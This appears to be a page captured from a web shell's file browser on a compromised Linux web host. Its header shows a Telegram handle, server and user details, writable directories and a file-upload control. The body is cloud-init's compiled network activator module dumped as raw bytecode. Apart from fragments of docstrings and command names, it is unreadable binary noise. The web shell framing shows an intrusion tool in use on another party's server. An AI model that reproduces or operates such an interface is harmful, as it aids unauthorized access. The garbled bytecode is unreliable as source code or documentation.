https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /usr/lib/python3/dist-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python3/dist-packages/cloudinit/net/__pycache__/activators.cpython-310.pyc
o

쑛h�-�	@s�UddlZddlmZmZddlmZddlmZmZm	Z	m
Z
mZmZddl
mZmZddlmZmZmZmZddlmZddlmZe�e�ZGd	d
�d
e�Z	d(ded
ede de fdd�Z!	d(dede de fdd�Z"Gdd�de�Z#Gdd�de#�Z$Gdd�de#�Z%Gdd�de#�Z&Gdd�de#�Z'Gdd �d e#�Z(gd!�Z)e$e'e&e(e%d!�Z*eeee#fe+d"<d#e
edeee#fd$d%�Z,	d)d#ee
edee#fd&d'�Z-dS)*�N)�ABC�abstractmethod)�partial)�Callable�Dict�Iterable�List�Optional�Type)�subp�util)�eni�netplan�network_manager�networkd)�Iproute2)�NetworkStatec@seZdZdS)�NoActivatorExceptionN)�__name__�
__module__�__qualname__�rr�:/usr/lib/python3/dist-packages/cloudinit/net/activators.pyrsrT�cmd�device_name�warn_on_stderr�returncCstttj|�|�S)z2Attempt to alter an interface using a command list)�_alter_interface_callablerr)rrrrrr�_alter_interfacesr�callablec
Cslz|�\}}t|�r|rtjntj}|d|�WdStjy5}zt�td|j�WYd}~dSd}~ww)z�Attempt to alter an interface using a callable

    this function standardizes logging and response to failure for
    various activators
    zReceived stderr output: %sTz#Running interface command %s failedNF)	�len�LOG�warning�debugr�ProcessExecutionErrorr�logexcr)rr�_out�err�
log_stderr�errrrs

��rc@s�eZdZeedefdd���Zeededefdd���Zeededefdd���Z	e
d	eedefd
d��Ze
de
defd
d��Zeddd��ZdS)�NetworkActivatorrcC�t��)z>Return True if activator is available, otherwise return False.��NotImplementedErrorrrrr�	available.szNetworkActivator.availablercCr+)zWBring up interface.

        Return True is successful, otherwise return False
        r,�rrrr�bring_up_interface4�z#NetworkActivator.bring_up_interfacecCr+)zYBring down interface.

        Return True is successful, otherwise return False
        r,r/rrr�bring_down_interface=r1z%NetworkActivator.bring_down_interface�device_namescst�fdd�|D��S)zjBring up specified list of interfaces.

        Return True is successful, otherwise return False
        c3��|]}��|�VqdS�N�r0��.0�device��clsrr�	<genexpr>L��z7NetworkActivator.bring_up_interfaces.<locals>.<genexpr>)�all)r;r3rr:r�bring_up_interfacesFsz$NetworkActivator.bring_up_interfaces�
network_statecCs|�dd�|��D��S)z\Bring up all interfaces.

        Return True is successful, otherwise return False
        cSsg|]}|d�qS)�namer�r8�irrr�
<listcomp>U�z<NetworkActivator.bring_up_all_interfaces.<locals>.<listcomp>)r?�iter_interfaces)r;r@rrr�bring_up_all_interfacesNs�z(NetworkActivator.bring_up_all_interfacesNcCr+)zWait for network to come up.r,rrrr�wait_for_networkXsz!NetworkActivator.wait_for_network�rN)rrr�staticmethodr�boolr.�strr0r2�classmethodrr?rrGrHrrrrr*-s 	r*c@�JeZdZedefdd��Zededefdd��Zededefdd��Zd	S)
�IfUpDownActivatorrcC�t��S�z3Return true if ifupdown can be used on this system.)r
r.rrrrr.c�zIfUpDownActivator.availablercC�d|g}t||�S)�bBring up interface using ifup.

        Return True is successful, otherwise return False
        �ifup�r�rrrrrr0h�
z$IfUpDownActivator.bring_up_interfacecCrS)rT�ifdownrVrWrrrr2qrXz&IfUpDownActivator.bring_down_interfaceN�	rrrrJrKr.rLr0r2rrrrrO^srOc@rN)
�IfConfigActivatorrcCsd}dg}ttj||d��S)z3Return true if ifconfig can be used on this system.�ifconfigz/sbin)�search)rKr�which)�expectedr]rrrr.|szIfConfigActivator.availablercC�d|dg}t||�S)zoBring up interface using ifconfig <dev> up.

        Return True is successful, otherwise return False
        r\�uprVrWrrrr0��

z$IfConfigActivator.bring_up_interfacecCr`)zqBring up interface using ifconfig <dev> down.

        Return True is successful, otherwise return False
        r\�downrVrWrrrr2�rbz&IfConfigActivator.bring_down_interfaceNrZrrrrr[{sr[c@sdeZdZedefdd��Zededefdd��Zededefdd��Ze	d	e
edefd
d��ZdS)
�NetworkManagerActivatorrcCrP)z9Return true if NetworkManager can be used on this system.)rr.rrrrr.�rRz!NetworkManagerActivator.availablercCsvddlm}||�}|durt�d�dSddd|g}t||�r(ddd	d
|g}ntgd�|�ddd	d|g}t||�S)
zdBring up connection using nmcli.

        Return True is successful, otherwise return False
        r)�
conn_filenameNzFUnable to find an interface config file. Unable to bring up interface.F�nmcli�
connection�loadra�filename)rfrg�reload�ifname)�cloudinit.net.network_managerrer!r"r)rrerirrrrr0�s�

z*NetworkManagerActivator.bring_up_interfacecCsddd|g}t||�S)zeBring down interface using nmcli.

        Return True is successful, otherwise return False
        rfr9�
disconnectrVrWrrrr2�s
z,NetworkManagerActivator.bring_down_interfacer3csLt�gd��j��}d|krt�d|�tgd�d�o%t�fdd�|D��S)z9Activate network

        Return True on success
        )�	systemctl�showz--property=SubState�NetworkManager.servicezSubState=runningz:Expected NetworkManager SubState=running, but detected: %s)rnztry-reload-or-restartrpr>c3r4r5r6r7r:rrr<�r=z>NetworkManagerActivator.bring_up_interfaces.<locals>.<genexpr>)r�stdout�rstripr!r"rr>)r;r3�staterr:rr?�s �����z+NetworkManagerActivator.bring_up_interfacesN)rrrrJrKr.rLr0r2rMrr?rrrrrd�srdc@s�eZdZddgZedefdd��Zededefdd��Zed	e	edefd
d��Z
ededefd
d��Zededefdd��Z
eddd��ZdS)�NetplanActivatorr�applyrcCrP)z2Return true if netplan can be used on this system.)rr.rrrrr.�rRzNetplanActivator.availablercC�t�d�ttjddd�S��YApply netplan config.

        Return True is successful, otherwise return False
        zBCalling 'netplan apply' rather than altering individual interfacesr>F�r�r!r#rrt�NETPLAN_CMDr/rrrr0����z#NetplanActivator.bring_up_interfacer3cCrvrwrz)r3rrrr?�r|z$NetplanActivator.bring_up_interfacesr@cCsttjddd�S)rxr>Fry)rrtr{)r@rrrrG�s�z(NetplanActivator.bring_up_all_interfacescCrvrwrzr/rrrr2r|z%NetplanActivator.bring_down_interfaceNcCs"t��rt�d�dSt��dS)z:On networkd systems, wait for systemd-networkd-wait-onlinez1NetworkManager is enabled, skipping networkd waitN)rr.r!r#�NetworkdActivatorrHrrrrrHs
z!NetplanActivator.wait_for_networkrI)rrrr{rJrKr.rLr0rr?rrGr2rHrrrrrt�s

	
rtc@sneZdZedefdd��Zededefdd��Zededefdd	��Z	ededefd
d��Z
edd
d��ZdS)r}rcCrPrQ)rr.rrrrr.rRzNetworkdActivator.availablercC�tttj|��S��1Return True is successful, otherwise return False)rrr�link_upr/rrrr0"�
�z$NetworkdActivator.bring_up_interfacer@cCsgd�}t|d�S)r�)rn�restartzsystemd-networkdzsystemd-resolvedr>rV)r@rrrrrG)s
z)NetworkdActivator.bring_up_all_interfacescCr~r)rrr�	link_downr/rrrr2/r�z&NetworkdActivator.bring_down_interfaceNcCst�gd��dS)z&Wait for systemd-networkd-wait-online.)rn�startz$systemd-networkd-wait-online.serviceN)rrrrrrH6s�z"NetworkdActivator.wait_for_networkrI)rrrrJrKr.rLr0rrGr2rHrrrrr}sr})r
rznetwork-managerrr\�NAME_TO_ACTIVATOR�prioritycCsBdd�|D�}|rtd|����dd�|D�}tdd�|D�d�S)zEReturns the first available activator from the priority list or None.cSsg|]}|tvr|�qSr)�DEFAULT_PRIORITYrBrrrrDSsz$search_activator.<locals>.<listcomp>z.Unknown activators provided in priority list: cSsg|]}t|�qSr)r�)r8rArrrrDXrEcss�|]	}|��r|VqdSr5)r.)r8�
activator_clsrrrr<Zs��
�z#search_activator.<locals>.<genexpr>N)�
ValueError�next)r��unknown�activator_classesrrr�search_activatorQs���r�cCs8|durt}t|�}|std|����t�d||�|S)Nz>No available network activators found. Searched through list: z.Using selected activator: %s from priority: %s)r�r�rr!r#)r��selectedrrr�select_activatorcs���r�)Tr5).�logging�abcrr�	functoolsr�typingrrrrr	r
�	cloudinitrr�
cloudinit.netr
rrr�cloudinit.net.netops.iproute2r�cloudinit.net.network_stater�	getLoggerrr!�	Exceptionr�listrLrKrrr*rOr[rdrtr}r�r��__annotations__r�r�rrrr�<module>s`
 
����
����
�1@F$	�	�
��

https://t.me/RX1948 - 2025